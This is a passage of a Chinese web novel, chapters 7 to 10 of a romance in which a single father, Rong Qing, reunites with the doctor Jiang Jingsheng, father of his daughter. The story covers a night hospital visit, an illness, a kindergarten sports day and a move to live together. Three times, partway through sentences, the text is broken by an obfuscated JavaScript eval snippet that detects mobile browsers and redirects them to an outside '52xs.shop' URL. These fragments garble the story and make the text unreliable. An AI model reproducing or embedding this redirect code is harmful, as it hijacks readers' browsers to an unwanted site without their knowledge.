容橙一边揉着眼睛,一边向容清走来。 容清下意识地看了江景盛一眼,尤其是看见江景盛的视线黏在容橙身上时,他心脏不受控制地剧烈跳动。 容橙睡眼惺忪地来到容清身边,好奇地打量着这位陌生的客人。 两人四目相对。 容橙忽然喊了他一声:“医生叔叔。” 容清和江景盛都愣了愣。 江景盛率先反应过来,笑容温和地跟她打招呼:“你还记得我?” “记得,是昨天给橙橙看病的医生叔叔。”容橙点点头,有些害羞地往容清怀里躲。 容清沉默地看着容橙和江景盛之间的互动,他可以看得出来,容橙对江景盛有着极大的好感。 容橙身体弱,这些年也一直往医院跑,容橙对医院有些排斥,面对医生时也会闷闷不乐。 而对待江景盛时,她不仅没有这种负面情绪,而且心情愉悦,小孩子的眼神是骗不了人的,她喜欢和不喜欢表现得很明显。 难道这就是血缘之间产生的共鸣吗? 容清没有阻止江景盛和容橙接触。 他想他大概还是心软了。 或者是说,江景盛太狡猾了,随随便便,就能让他卸下心防。 或许是因为他的沉默,让江景盛误以为他不高兴,所以也没有逗留太久,只是临走之前还像昨天那样说了句:“我明天再来找你。” 原本江景盛以为容清会不说话,没想到听见他轻轻地“嗯”了声。 江景盛欣喜若狂,脸上的笑意迟迟没有散去。 容清有些别扭地撇过头,连江景盛跟他道别也没有理会。 在江景盛走后,容橙抱着他的手,小声问了句:“爸爸,那是妈妈吗?” 容清错愕地看着容橙,唇角微微抽搐,强忍着笑意一脸严肃地看着她,认真道:“橙橙怎么会觉得那位叔叔是妈妈?” “他跟爸爸抽屉里那张照片上的叔叔长得一模一样。”容橙小心翼翼的目光中带着期待,笑得甜甜的。 那张照片里,爸爸和叔叔在亲亲。 老师说这是爸爸妈妈,他们是一家人。 容清老脸一红。 他没想到容橙会知道那张照片的意思,而且他一直以为自己藏得挺好的。 在容清苦恼地想着要怎么跟容橙解释是爸爸不是妈妈的时候,容橙眼巴巴地看着他说了句:“妈妈要回来了吗?” 容清一时间没反应过来:“什么?” 容橙:“因为爸爸之前说过妈妈去了很远的地方,那现在妈妈是回来了吗?明天还会来看橙橙吗?会来看爸爸吗?” 容清微微张开嘴,一时间恍了神,看向容橙的目光不自觉地染上温柔,语气轻得像叹息:“那橙橙喜欢妈妈吗?” “喜欢。”容橙眉眼弯弯,笑容明媚,连浅浅的小梨涡都像极了江景盛。 “那爸爸喜欢妈妈吗?”容橙扑闪着大眼睛,一脸天真地看向容清。 看着这张与江景盛极为相似的脸,容清甚至说不出一句否认的话。 “喜欢。”容清轻笑一声,再次确认了答案:“是喜欢的。” 7. 第 7 章 凌晨三点。 沉沉的夜色笼罩着整座城市,万籁俱寂。 昏暗的房间里没有一丝光亮,容清蜷缩在床角,像是陷入梦魇般,额头上挂着细密的汗珠,唇色苍白,忽然他浑身颤抖了下,从噩梦中惊醒,猛地坐起来,张开嘴大口地喘着粗气。 他又梦见和江景盛分手的那天。 那场雨下得很大,江景盛跪在他面前哀求他不要分手。 他神情冷漠,违心地说着伤人的话,两人在雨中僵持了很久。 最后他淋着雨,头也不回地离开了。 是他不敢回头,只能不停地往前跑。 最后逃离了这座城市。 至此,他再也没有了江景盛的消息。 夜色浓稠,晚风习习从窗户吹进来,吹散他体内的燥热。 容清闭上双眼,努力平息着内心躁动不安的情绪,浓重的疲惫感将他淹没,辗转反侧再难入眠,身上挂着一层薄薄的汗水,黏腻的感觉让他很难受,看了一眼旁边熟睡的女儿,他静悄悄地翻身下床,去洗了个热水澡。 等容清再次回到卧室的时候已经凌晨四点了。 当他要帮容橙掖好踢掉的被子时才惊觉她身上异常的滚烫,容清立刻把房间的灯打开,看着容橙脸上不自然的红晕,他拧紧了眉头,从浴室里拿来湿毛巾给她擦拭身体降温。 只是给她擦了好久,温度也没降下来,容清不敢再等了,收拾好东西打车去医院,但是等了许久,约车软件都没有司机响应。 容清心里着急,只能背着容橙,一边往医院的方向走,一边等待着网约车。 他住的小区离医院有点远,附近只有卫生站,但是卫生站很早就关门了,只能去医院。 而且这里是旧城区,基本没有出租车会经过,平时只能通过软件叫网约车,可因为小镇偏僻,网约车也要等上好一会才有司机接单,更别说现在三更半夜的,路上连一辆车的影子都没有,整条马路静悄悄的。 容清等了好久,好不容易有司机接了单,结果地图显示司机在距离他五公里之外,很快司机便取消了订单,他也只好放弃。 他背着容橙,胸前还挂着一个双肩包,吃力地把手机放回包里面。 他忘记了按锁屏键,所以也就没有察觉屏幕误触这件事。 几分钟之后,手机铃声响起。 容清停下脚步,呼吸微喘,有些好奇都这个点了还会有谁给他打电话,该不会是他刚才没有成功取消订单吧? 想到这里,他连忙翻找背包,掏出手机看到微信的语音来电时,容清愣在了原地。 或许是他太久没接起来,语音自动挂断后,对方又再次给他打了过来。 容清茫然地按下了接听:“喂?” “怎么了?是按错了吗?还是有什么事?”江景盛急切的声音从听筒里传来。 “什么?”容清一头雾水,不明白江景盛为什么会在这个时间给他打电话,他翻看了一下聊天记录才发现可能是刚才把手机塞到包里的时候忘记按锁屏了,所以给江景盛发去了很多条奇怪的消息。 容清解释:“按错了,不好意思,这么晚打扰你。” “没事就好。”江景盛松了口气,他给容清设置了消息特别提醒,方便他第一时间能查看容清的消息并及时回复。 “嗯。”容清应了声,刚想挂断,江景盛的声音再次传来:“这么晚还没睡吗?” 江景盛再次看了看现在的时间,眉心紧蹙。 容清的声音听起来他不像是刚睡醒的模样,是睡不着吗? 容清顿了顿,淡淡开口:“嗯,睡不着。” 他的话音刚落,一阵汽车的鸣笛声在身旁响起。 江景盛先是愣了下,随后沉声问道:“你在哪里?” 容清下意识地想找借口,还未等他开口,江景盛率先说道:“这么晚了,你在外面,我很担心你,是出了什么事吗?需要我帮忙吗?” 容清无声地叹了一口气。 语音里只剩下一片沉默,偶尔听见容清微喘的呼吸声。 “有什么不能告诉我的吗?”江景盛眉头皱成川字形,着急的语气里充满了担忧,他快速地换了身衣服,拿起车钥匙往门外走去。 容清抿了抿唇,颓丧道:“容橙发烧了,我现在送她去医院。” 江景盛连忙开口:“我过来找你,是在市医院吗?” 容清:“不是,是镇里的医院。” 江景盛:“那我现在过……” 他的话还未说完,容清便打断了他。 “我打不到车去医院。”容清的泪水在眼眶里打转,他哽咽着,语无伦次地再一次重复:“这么晚了没有车,没有司机愿意接我的单。” 江景盛呼吸一滞,容清颤抖的声线隔着手机传入他的耳中,他闭上双眼,喉结滚动涌上一抹酸楚,声音沙哑道:“别担心,你先冷静下来,给她喂一颗退烧药,我很快就到了。” 窸窸窣窣的声音夹杂着容清的低泣,一种说不出来的疼痛在他心底里蔓延,像往他心脏密密麻麻地扎着无数根针,疼得他喘不过来气来。 他无法想象,在这五年,每次发生这样的事情,容清都是怎么一个人熬过来的。 容清给容橙喂了一颗退烧药,有着江景盛的安抚,他也渐渐地从激动的情绪里缓和下来。 其实这些年容橙半夜发烧的事情也发生过不少。 不知道怎么的,他这次会这样失态。 或许是因为做了噩梦,或许是因为打不到车感到焦虑,或许是他心里没底的时候,江景盛偏偏给他打电话,让他好像一下子找到了主心骨一样,有了发泄口。 委屈和难过裹挟着他,让他无法呼吸。 医院的急诊室还有医生在值班,容清抱着孩子输液,他疲惫地看着输液管,眼皮不停地往下掉,靠在椅子上昏昏欲睡。 江景盛赶过来的时候,容清已经睡着了,看着他的黑眼圈,没忍心将他叫醒,只是静静地坐在他身旁。 又过了十几分钟,他去把护士喊来,给容橙拔针的时候,惊醒了容清,他醒来的第一反应就是抬头去看正在输液的瓶子,接着才看到江景盛已经在给容橙按压针口了。 看着容清的举动,江景盛又是一阵心疼,他轻声开口:“已经打完点滴了,放心吧。” 容清看见他蓦地松了口气,脸色稍缓。 江景盛去办理了缴费,到窗口拿了药,容清看着他忙碌的身影,有一种说不出来的滋味在心底蔓延。 就好像五年前,江景盛也是这样,总会给他打点好一切。 所以他很依赖江景盛,用了很多年时间才戒掉了这个习惯。 可如今,他好像又再次沉浸在这种感觉之中,无法自拔。 从医院里出来的时候,已经是清晨六点,天色还是蒙蒙亮。 深秋的早晨,微风带着丝丝凉意,容清背着容橙为她挡风,忽然感觉肩膀一沉,一件温暖的外套披了下来,有江景盛的余温,还有他身上那股淡淡的香水味。 容清抱着容橙坐在后排的车座上,闭目养神。 江景盛安静地开着车,将他们送回了小区。 容清抱着容橙回房,哄孩子睡觉,江景盛就到厨房里帮忙做早饭。 容橙要吃药,容清也得吃饭他做了个简单的清汤挂面,容橙勉强吃了几口,吃了药又睡了过去。 清晨的风从窗户徐徐吹进,窗帘摇曳,沙沙作响。 容清连忙关掉窗户,自责得红了眼圈,是他昨晚没把窗户关上才害得容橙生病。 等他再次从卧室里出来的时候,餐桌上那碗冷掉的面条已经不在了,江景盛给他新做了一碗面条,端到他面前,“快吃吧,吃完你也得休息一下,你的脸色太差了。” 容清看着眼前这碗热腾腾的汤面,一直以来的坚持摇摇欲坠。 他好累啊。 明明江景盛不在的时候,他咬咬牙就坚持过去了。 也不是没有试过半夜背着容橙去看病,也不是没试过家里穷得米都快买不起了,也不是没试过辛苦到病得起不来。可他从来都是劝自己再坚持一下,难熬的日子很快就会过去了。 可与江景盛重逢的短短这几天,他就要坚持不下去了。 他感觉很累。 哪怕很小的一件事情都让他觉得很疲惫。 就像随时都会倒下来。 甚至有一种感觉,哪怕他不在了,他也可以放心把容橙交给江景盛去照顾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320328|152432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他竟然会产生这么可怕的念头。 江景盛不知道什么时候来到他身边坐下,目光饱含担忧:“吃不下就不吃了,先去休息好吗?” 容清点点头,在起身的时候晃了一下。 江景盛及时扶着他:“有哪里不舒服吗?” “没有,只是没休息好而已。”容清不太习惯地推了推他,结果江景盛更加搂紧了他的腰,往怀里带。 最后还是江景盛将他抱回了房间,轻轻地放在了床上。 这还是江景盛第一次进容清的卧室,他环顾四周,对房间的布局皱紧了眉,卧室比他想象中还要小,床不大,刚好能容纳他们父女,小小的衣柜塞满了衣服,床尾还放置了几个纸皮箱,里面装着容橙这几年换下来的衣物。 江景盛心里很不是滋味,“你先好好休息,我去给你做午饭。” 容清没拒绝,默许他留下来。 房门缓缓关上,在江景盛离开房间后,容清轻轻拉开床头柜最后一格抽屉,把那张照片再次拿了出来。 这张照片是他们刚在一起的时候拍的,那时候的感情很纯粹。 年少的爱恋比他们想象中的还要疯狂。 他轻轻擦拭着照片,又默默地将它放了回去。 他和江景盛该怎么办? 想着这个问题,容清脑海里乱成一团,慢慢地睡着了。 江景盛拿走了容清的钥匙,到附近的市场买了很多菜,回来之后便开始打扫卫生,其实容清家里很干净,只是早上出门的时候比较急,东西散落在四周,江景盛把东西摆放整齐,把屋子收拾了一遍,然后开始煮饭。 等他忙完的时候,已经接近十二点了。 江景盛轻轻推开房门,床上的一大一小还在酣睡,他沿着床边坐下,看着容清的睡颜,心疼地抚平他眉宇间的褶皱。 脸上瘦得连一点肉都没有了,重逢的那一刻开始,到现在他每每看着容清这张脸都止不住地心疼。 是他没有好好照顾容清。 五年的时间太长了,不管当初是什么原因分开,都会在容清心里留下一道不可磨灭的印记,他甚至没有信心,可以用爱覆盖这道伤疤。 微凉的触感让容清缓缓醒过来,睁开眼看见江景盛坐在床边,他微微一怔,随后哑声道:“几点了?” 江景盛:“十二点二十三分。” 容清摸了摸容橙的额头,顿时松了口气。 江景盛:“已经退烧了,吃两天药就好了。” 两人的轻声交谈并没有吵醒容橙。 房间再次安静了下来,容清沉默地低头看着容橙,没再说话。 江景盛能感觉到容清的不自在,趁着容橙还没醒的时候,江景盛识趣地开口:“我下午还有工作,就先回去了。午饭已经做好了,在厨房热着,这两天先吃点清淡的,等工作结束后我再来找你,有什么事就给我打电话,什么时候都可以,我一定会接。” 这句话他说得很重。 让容清想起四年前他在进手术室之前给江景盛打的那通电话。 江景盛垂眸,认真道:“我不会再错过你任何一个电话了。” “我需要时间。”容清的声音很轻,轻得江景盛几乎听不清他在说什么。 “不用想太多,跟着心走,只是这次无论如何,我都不会放开你的手了,不管你需要多长的时间都可以,我只想呆在你的身边。”江景盛没忍住摸了摸他的头,转身离开了房间。 容清看着他的背影咬了咬唇。 江景盛是凌晨四点钟的时候给他打的电话,开了一个小时的车匆忙赶了过来,来了之后帮他把手续办好,接他们回家,给他做饭,几乎没怎么休息过,下午又要回去医院工作,这样来回奔波,太累了。 “妈妈走了吗?” 容橙的声音打断了正在沉思的容清。 容清立刻扬起笑脸,温声道:“嗯?橙橙醒了啊。” “今天还没跟妈妈说话呢。”容橙懊恼地皱着小脸。 容清把她抱起来,穿好衣服,哄道:“妈妈给容橙做了很多好吃的。” 容橙糯糯道:“那要谢谢妈妈。” 容清笑了笑:“橙橙好起来就可以看到妈妈了。” 8. 第 8 章 容清走出房门时才发现原本乱糟糟的客厅被收拾得井井有条,昨晚放在篓子里的脏衣服也都洗干净晾上了,甚至连他种在阳台里的盆栽都浇了水,桌子上还摆放着一盘新鲜的水果。 有他喜欢吃平时却舍不得买的车厘子和草莓。 果盘下面还压着一张纸条和一张银行卡。 [我的工资卡,密码是你的生日。] 容清拿起那张银行卡,忽然想起他们还在读书的时候,江景盛曾向他许诺,以后等他工作了就把工资卡上交。 “你不怕我给你花完了吗?” “怕什么,我赚钱就是为了给你花的。” 一时间,手里的这张银行卡变得沉甸甸的,困在回忆里走不出来的何止是他一个人。 秋日下午的暖阳照进客厅,晒得整间屋子都暖洋洋的。 容清陪着容橙在客厅里玩积木,只是他一直都心不在焉的,每当楼梯响起脚步声时,他总是竖起耳朵仔细听,是不是记忆里熟悉的脚步声,时不时还将目光投向门口。 每次意识到自己在做什么小动作时又觉得有些羞耻。 他到底在期待什么? 叮—— 您有一条新的微信消息。 容清抓起放在一旁的手机迅速看了一眼,是江景盛发来的。 他兴奋地点开了对话窗口,却在看到江景盛给他发的消息之后,原本的笑容逐渐散去,难掩失落地看着手机屏幕。 江景盛:这两天有手术安排,今晚赶不过去了。 江景盛:抱歉。 “没事,你忙你的”容清刚想给他发过去,在发送之前又清除掉了所有文字,他是不是有点太迫不及待回复江景盛的消息了,就好像他一直盯着手机在等消息一样,还是等五分钟过后再回复他的消息。 只是他的手机刚放下,江景盛的电话就打了过来。 急促的铃声响起,容清的心怦怦直跳。 “怎么了?” 江景盛:“小清,你生气了吗?” 他的语气很不安,有种小心翼翼的感觉。 容清:“没有,没生气。” 江景盛蓦地松了口气:“我看见微信面板的状态栏显示你一直在输入中,但又迟迟没等到你的回复,还以为你生气了。” “没有。”容清再次否认,随便找了个理由解释:“刚才在陪橙橙玩玩具,没有及时回复,不好意思。” 容清没想到因为自己别扭的小心思差点又引起他们之间产生误会。 他也没想到江景盛会变得这么小心谨慎。 江景盛是医生,有时候医院来了病人,他忙得几天不回家容清也是能理解的,而且这是工作,人命关天,他不至于连这点都拎不清。 江景盛:“有个病人要开刀,一会就要进手术室了。我手机得放外面,如果有急事的话你可以打我助理电话,还有我……” “没事,你不用担心。”容清打断他,忽而笑了笑,说:“也没有生气。” 江景盛:“那就好,我放在桌子上的银行卡你看见了吗?” 容清:“看见了。” “江医生!”护士急促的声音响起。 容清:“你先去忙吧。” 江景盛:“那我先挂了,晚点给你打电话。” 容清:“嗯。” 挂断电话之后容清有种怅然若失的感觉。 容橙把最后一块积木拼好,小声问道:“妈妈晚上不来了吗?” 容清摸了摸她的头,哄道:“妈妈工作忙,过几天才能来看橙橙。” 容橙低着头玩积木,脸上的情绪明显不高涨。 容清捏了捏她嘟起的小嘴,笑道:“这么喜欢妈妈?” 容橙扬起笑脸:“喜欢。” 容清垂眸笑了笑。 这样也好。 容橙吃了两天药,在容清的悉心照顾下很快就好了。 倒是容清因为劳累再次病倒了。 生完孩子之后他元气大伤,身体一直处于亏损的状态,这些年因为一边照顾容橙一边工作,底子早就掏空了。 他也不是第一次因为太过操劳晕倒了,上一次还是房东送他去医院。 那天本来约定好五点来接容橙,结果房东等到五点半都没等到人,打他电话也不接,担心他出了什么事,索性就带着容橙去花店找他,才发现他晕倒在店里面。 那时候医生就建议他需要好好休养一段时间,不要太辛苦。 可容清却不敢休息,他手头上没有存款,容橙上幼儿园光是学费一年就得花不少钱,他们平时的吃穿用度也要花钱,生活的每一天都在消费。 同龄的孩子都开始上补习班了,容橙什么都没有。 他每天还在为生计发愁。 结束愉快的假期之后,容清再次回到花店上班,只是从今天早上起床开始他就觉得浑身不对劲,整个人晕晕的,没什么力气,在修剪花枝的时候还差点剪到手。 江景盛来找他的时候,容清快要撑不住了,脑袋晕涨涨的,沉甸甸的,感觉随时都会倒下。 容清:“你怎么来了?” 江景盛蹙着眉心看他,担忧道:“你的脸色好差,没休息好吗?” 容清摇摇头,身体虚晃了下,江景盛及时扶住了他。 “好晕啊……”说完这句话容清就晕倒在江景盛的怀里。 容清躺在病床上输液,还在昏迷的状态。 “江医生?没想到会在这里遇见您。”医生满脸笑容地跟江景盛握了握手,转而看向病床上的容清,疑惑道:“这位是?” 江景盛微微笑道:“家属。” 医生并没有多问,只是把检查报告递给了江景盛,开口:“他的身体太虚弱了,还是让他先好好休息一段时间吧。” 江景盛点点头。 在和医生进行了一番交流之后,他又回到病床前坐着,握着容清的手,亲吻着他的手心,看着他消瘦的脸庞忍不住心疼:“怎么比前两天见到的时候还瘦了点?” 容清一直到中午才醒过来。 “小清。” 容清睫毛轻颤,缓缓睁开双眼。 江景盛柔声道:“有没有哪里不舒服?” 容清摇摇头,睡了一觉感觉整个人都好多了,他张了张嘴,喉咙干涩到说不出话来。 江景盛把他扶起来,及时给他送上一杯温水,容清喝了好几口才感觉喉咙舒服了很多,但声音依旧沙哑:“你怎么来了,工作都结束了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320329|152432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,我来看看你。”江景盛见他喝完,又重新给他倒了一杯。 容清:“不喝了。” “好。”江景盛给他擦了擦嘴边的水渍,打开保温杯,给他盛了一小碗的粥,放在嘴边轻轻吹了吹,递到他跟前。 容清张开嘴咽下,默不作声地观察着江景盛,明显地能感觉他心情不好。 江景盛:“烫不烫?” 容清摇摇头:“不烫了。” 江景盛:“你这几天要吃得清淡,先喝点粥吧,晚上我再给你做点别的。” “晚上,你不用回去吗?不是说……”他话还没说完,就又被江景盛塞了一勺子的粥。 江景盛淡淡开口:“我不放心你,给你做完饭,我再回去。” 容清闻言,抿了抿唇。 在江景盛再次喂他的时候别过了脸。 江景盛顿了顿,语气比刚才还要低沉:“我会在你接容橙回家之前就离开。” “不是,没有,我。”容清无奈地叹了一口气:“我不是这个意思。” 江景盛看着他,像是在等他解释。 容清微微启唇,到嘴边的话又咽了回去。 气氛又陷入了沉默。 “再喝一点。”江景盛并不在意,只是更担心他的身体。 “我自己来吧。”容清想把勺子抢走,江景盛只是默默地看着他,最后容清还是败下阵来,随他吧。 在喝完一整碗粥之后,江景盛拿纸巾给他温柔地擦了擦嘴角,还倒了温水给他漱口,忙前忙后。 容清心里的滋味并不好。 江景盛:“我先去给你办理出院手续。” 在他转身时容清拽住了他的手。 江景盛:“怎么了?” 容清抬头看他,微微紧张道:“你下午有空吗?” 江景盛点点头:“有的,我原本的计划就是先带你回去,然后去给你买菜做饭,现在还早,期间也会有很多空余时间。” 看容清神色不太自然,江景盛握着他的手安抚地拍了拍:“有什么事需要我帮忙吗?” 容清:“今天下午橙橙的幼儿园举办了运动会,需要家长陪同一起参加活动,我现在还感觉不太舒服,应该是去不了了,你替我去一趟吧。” 江景盛怔了怔,好久才开口说了句:“你不是不愿意我和容橙接触吗?” 容清垂眸,反而问起了另一个问题:“你什么时候知道容橙是你的女儿的?” “我们重逢的那一天。”江景盛反握住他的手,与他十指相扣。 沉默许久,容清忽然开口:“容橙她很喜欢你。” 江景盛:“那你呢?你还喜欢我吗?” 容清僵硬了下,想抽出手被他握得更紧了,无法逃避,他只好别扭又生硬地转移了话题:“你知道她的幼儿园在哪对吧?” 江景盛点了点头:“我去的话没关系吗?” 容清:“没关系,你去的话她会很高兴。” 在走之前,江景盛问了他最后一个问题。 “小清。” “你愿意离开这里,跟我走吗?” “什么?”容清懵懂地看着他,一时间没反应过来。 江景盛:“回我们的家。” 9. 第 9 章 在去往星光幼儿园的路上,整条道路塞满了车,喇叭声此起彼伏。 江景盛第一次作为家长到幼儿园参加亲子节目,没有什么经验,也不知道提前踩点占好停车位,导致他光是找个能停车的地方就花了不少时间。 原本两点钟的家长入场,迟迟看不见他的身影,因为他还堵在外面。 幼儿园里面一片欢声笑语,到处挂满了气球和彩带。 容橙站在幼儿园门口,踮着脚张望进来的各位的家长,试图找到那一抹熟悉的身影。 “容橙,你爸爸妈妈还没来吗?” 几个小朋友围在她身边,跟她一样懵懵懂懂地看向门口,他们的家长早就到了。 “我爸爸工作很忙的。”容橙情绪有点低落,她知道爸爸的工作很忙,以前来参加活动也是陪她玩一会就要回去工作,但是昨晚爸爸答应过她今天一定会来。 迟迟等不到容清的到来,容橙知道爸爸肯定是有事情一时走不开,但还是难掩失落地微微红了眼圈。 几个小朋友也不知道该怎么安慰人,只是陪她一起站在门口,四处张望着进来的大人。 “容橙这是你爸爸吗?” “是不是这个呀?” “好像是这个。” 容橙摇摇头:“都不是,我爸爸不长这样。” 哨声响起,运动会开始,几个小朋友也都一哄而散。 只剩下容橙还等在幼儿园门口。 陈老师在看见容橙孤零零地站在幼儿园门口时,连忙跑了过去蹲下来和她说话:“橙橙怎么在这里?” 容橙抱着陈老师,依偎在她的怀里,闷闷不乐。 陈老师轻轻拍着她的背,温柔细心地哄道:“爸爸的工作很忙,可能有什么事绊住了脚,所以就算爸爸来不了也不能跟爸爸生气知道吗?” 容橙点头:“不会怪爸爸。” 她知道爸爸很辛苦,很累,所以她不怪爸爸,只是看着别的小朋友都有爸爸妈妈陪在身边,她很羡慕。 陈老师心疼地摸了摸她的小脑袋,说:“那橙橙跟着老师吧,老师陪橙橙玩。” 橙橙牵着陈老师的手,转身离开之前再次看了一眼门口的方向,忽然顿住。 陈老师:“怎么了?” 橙橙抱着陈老师的腿,害羞地躲在她身后。 陈老师顺着她的视线看了过去,双眼一亮,这是哪位家长? 有点眼生啊。 江景盛在距离容橙两米的地方停下脚步,虽然上次有短暂的交流,但他还是担心容清不在,孩子怕生。 橙橙紧张又惊喜地说:“是妈妈来了。” “妈妈?”陈老师呆住,因为在入学的时候,她就已经清楚地知道容橙是个单亲家庭,并没有妈妈,所以也从来没在容橙面前提起过妈妈,平时也会细心照顾容橙的情绪,听到这一声妈妈着实把她惊住了。 容橙点点头,肯定地说道:“是妈妈。” 爸爸说的,这是妈妈。 陈老师噎了下,前面这位大帅哥分明是个男人,怎么会是容橙的妈妈? 她是不是该纠正容橙对性别的认知? 容橙悄悄地观察着江景盛。 虽然她很喜欢妈妈,但是算起来她和妈妈只见过几次。 她也不知道妈妈喜不喜欢她。 江景盛蹲下来,朝她张开怀抱,扬起唇角喊了一声她的名字。 “橙橙。” 容橙愣了一下,扬起笑脸从陈老师背后跑了出来,扑向江景盛怀里,喊了一声:“妈妈!” 这一声不仅让陈老师僵硬,江景盛也僵住了。 陈老师:“!!!” 原来这位帅哥真的是容橙的妈妈啊! 怎么会是妈妈呢?! 难道容橙的爸爸是同性恋? 这是他们之间的小情趣吗? 陈老师微微蹙着眉,脸上的表情一言难尽。 江景盛朝陈老师点了点头,虽然有些诧异容橙喊他妈妈,但没有去纠正,只是轻轻一笑,并不在意。 容橙会这样喊他,多半跟容清离不开关系,他高兴就好。 容橙搂着他的脖子,在他怀里拱来拱去,像只小狗。 “妈妈你来得好晚,爸爸也来了吗?” “爸爸有事没有来。”江景盛将她抱起来,往人群里走去,容橙身上有一股淡淡的奶香味,很好闻。 她很轻,瘦瘦小小的,难怪自己当时连她几岁都看不出来。 一想到这是容清给他生下来的孩子,他的内心就变得十分柔软。 这是他们的孩子啊。 陈老师看着眼前这一大一小如同模子刻出来般的脸,微微怔了怔。 男人长着一张帅气英俊的脸,眉宇间有一种清冷矜贵的气息,而小小的容橙与眼前的男人眉眼极其相似,只是更为柔和。 无论谁看了,都会觉得他们是父女关系。 太像了。 那容橙的爸爸…… 陈老师茫然地甩了甩脑袋。 随着音乐响起,运动会马上开始。 运动会是所有小朋友都要参加的活动,容橙报的是五十米短跑。 她跑得不快,只是重在参与。 江景盛抱着容橙来到赛道,给她整理衣服时才发现容橙身上穿的这身衣服明显小了一个尺寸,但因为她还小,所以衣服很宽松,只是稍微短了一点点。 他转头看向身旁在做准备的其他小朋友,身上穿着的都是各种潮牌的运动服,只有容橙穿着宽松款式的衣服。 他呼吸一滞,胸口又开始泛着密密麻麻的疼意。 他该用什么弥补容清和容橙。 一股强烈的酸涩感涌上心头,江景盛握着容橙的小手,心疼得他快要喘不过气了。 容橙跑在最后,她跑得很慢,但她没有丝毫不高兴,反而乐呵呵的。 江景盛守在终点线,给她不停地鼓励和加油:“我们橙橙真厉害。” 容橙害羞地笑了笑:“妈妈也要加油。” 幼儿园举办的运动会除了小朋友以外还有家长的一百米赛程,奖品是一只半米高的毛茸茸玩偶,奖品拿出来一下子就吸引了所有小朋友的目光。 容橙看着那只玩偶脸上露出一丝渴望的神色,但是并没有像其他小朋友一样嚷嚷着要拿下奖品,只是乖乖地坐在江景盛边上。 “橙橙想要吗?” 容橙迟疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320330|152432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地点了点头。 江景盛无声地叹了口气。 真的好乖。 容清把她教得很好,还这么小就听话懂事。 又或许是随了容清的性子。 安安静静的,特别乖。 江景盛常年坚持运动健身,身体素质极好,轻轻松松就将第一名拿下,他还把奖牌挂在容橙的脖子上。 容橙抱着那只比她还要大的玩偶,兴奋不已。 其他小朋友只能眼馋地找爸爸妈妈哭诉。 最后,他牵着容橙,容橙抱着玩偶,站在领奖台上合影留念。 江景盛把这张照片发给了容清,希望能在他面前刷刷好感度。 在幼儿园待了一下午,容橙带他认识了她的小伙伴们,虽然大家对这位男妈妈很惊讶,但懵懵懂懂的他们还是接受了这个设定。 江景盛把她带到陈老师面前,开口:“橙橙,跟陈老师说再见。” 容橙不知道发生什么,只是高兴地跟陈老师道别。 陈老师摸了摸容橙的小脑袋,有些舍不得,但是也替她感到高兴。 祝福她能过上更好的生活,平安健康,快乐长大。 …… …… 在江景盛离开后,容清一个人静静地想了很久。 如果说是妥协,好像也不是完全正确。 他只是觉得一个人太煎熬了。 如果有江景盛在,他确实可以轻松很多,不用硬扛着为生计担忧,不用为了争一口气硬要容橙跟着他吃苦。 容橙会得到很好的照顾,江景盛会很疼她。 他也会被江景盛照顾得很好。 突然提出辞呈,容清深感抱歉,但是老板娘却没有意外,反而是叮嘱他要注意身体,好好照顾自己。 “是我要谢谢你才对,这些年辛苦你给我看店了。” 容清觉得过意不去,主动提起不要这个月的工资,毕竟他突然离职,老板娘一时间也招不到人,给她添麻烦了。 老板娘却笑着摇了摇头:“我刚好趁着这段时间收拾一下店铺,重新装修一番。” 最后,老板娘给他结算了当月整月的工资。 老板娘:“拿着吧,给孩子添几件衣服。” 容清感激地笑了笑:“那我替容橙谢谢周姨了。” 在跟老板娘请辞之后,他就带着一堆礼品找上了房东阿姨。 走的时候,他的眼睛都是红的。 在这里呆了五年,从家徒四壁到把整间屋子塞满,他心里很舍不得。 他要搬到江景盛准备的房子跟他一起生活,那里什么都准备好了,也不需要他添点什么,所以他只是收拾了一些容橙小时候的衣服留作纪念,其他的全都没有带走。 生活用品全部丢掉,剩下的家电就让房东阿姨帮他处理。 江景盛抱着容橙回来的时候,容清正在阳台上坐着,看着他那几棵绿萝发呆。 夕阳的光辉洒落在他的身上,仿佛镀了一层金边,晚风轻轻拂过他的脸颊,吹乱了他的发丝。 听到开门的声音,他回头望去。 门口的一大一小正朝着他的方向走来。 “爸爸,我们回来啦!” 10. 第 10 章 容清离开之前,几度不舍地回头看了又看。 这里的一砖一瓦,房间的每个角落,都充满了回忆。 江景盛看着他眼里不舍的目光,酸涩填满了整颗心脏。 这是他空缺的五年,也是容清最需要他的五年。 江景盛垂眸,敛去眼底的晦涩。 